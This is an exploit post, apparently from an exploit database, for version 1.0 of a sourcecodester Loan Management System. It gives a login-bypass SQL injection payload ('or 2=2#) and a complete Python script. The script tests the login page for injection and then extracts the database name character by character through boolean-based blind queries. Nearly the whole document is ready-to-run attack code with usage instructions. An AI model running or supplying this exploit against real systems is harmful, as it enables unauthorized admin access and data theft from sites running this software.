# Exploit Title: Loan Management System - SQL Injection via login page
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL

# The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.

# Payload --> 'or 2=2#

# The python script to get the database name from SQL Injection Vulnerability can be execute below.

import requests, string, sys, warnings, time, concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)

dbname = ''

req = requests.Session()

def login(ip,username,password):  
    target = "http://%s/LMS/login.php" %ip

    data = {'username': username,'password':password, 'login':''}
    response = req.post(target, data=data)

    if 'Login Successful' in response.text:
        print("[$] Success Login with credentials "+username+":"+password+"")
    else:
        print("[$] Failed Login with credentials "+username+":"+password+"")

def check_injection():
    # library inj
    test_query0 = "'or 1=2#"
    test_query1 = "'or 2=2#"

    target = "http://%s/LMS/login.php" %ip

    result = ""

    for i in range(2):

        if i==0:
            data = {'username': test_query0,'password':password, 'login':''}
            response = req.post(target, data=data)
            if response.text=="success":
                result = response.text
            else:
                pass
        if i==1:
            data = {'username': test_query1,'password':password, 'login':''}
            response = req.post(target, data=data)
            if response.text=="success":
                result = response.text
            else:
                pass
    if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":
        print("[##] SQLI Boolean-Based Present at password field :)")
    else:
        print("[##] No SQLI :)")

def brute(dbname,password):
    target = "http://%s/LMS/login.php" %ip

    l=0

    # checking length of dbname star with i = 1
    for i in (n+1 for n in range(9)):

        payload = "'or 2=2 and length(database())='"+ str(i) +"'#"
        #print(payload)
    
        data = {'username': payload,'password':password, 'login':''}
        response = req.post(target, data=data)
        result = response.text
        #print(result)

        if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":
            print("[##] The correct length of DB name is "+str(i))
            l=i
            break
        else:
            print("[##] The length of DB name "+str(i)+" is wrong")
            pass

    char = [char for char in string.ascii_lowercase]
    char.append('_')
    #print(char)
    dbname = []

    for i in range(l):
        for j in char:
            payload = "'or 2=2 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"
            
            data = {'username': payload,'password':password, 'login':''}
            response = req.post(target, data=data)
            result = response.text
            #print(payload)
            #print(result)

            if result=="<script>alert('Login Successful')</script><script>window.location='home.php'</script>":
                dbname.append(j)
                print("[+] The " + str(i+1) + " char of DB name is "+str(j))
                break
            else:
                pass

    dbname = ''.join(dbname)
    
    print("[+] Database name retrieved --> "+dbname)
    print("[+] Bypass completed :)")
    print("[+] Bypass payload can be used is \n'or 2=2#")

    username = "'or 2=2#"

    print("\nRetry to login with new payload in password field")
    login(ip,username,password)

if __name__ == "__main__":
    print("   _____       _ __                                   ")
    print("  / ___/____ _(_) /_____ _____ ___  ____ _____  ____ _")
    print("  \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")
    print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")
    print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, /  ")
    print("                                             /____/   \n\n")

    try:
        ip = sys.argv[1].strip()
        username = sys.argv[2].strip()
        password = sys.argv[3].strip()

        login(ip,username,password)
        check_injection()
        brute(dbname,password)
        
    except IndexError:
        print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
        print("[-] Example: %s 192.168.149.130 admin admin123" % sys.argv[0])
    sys.exit(-1)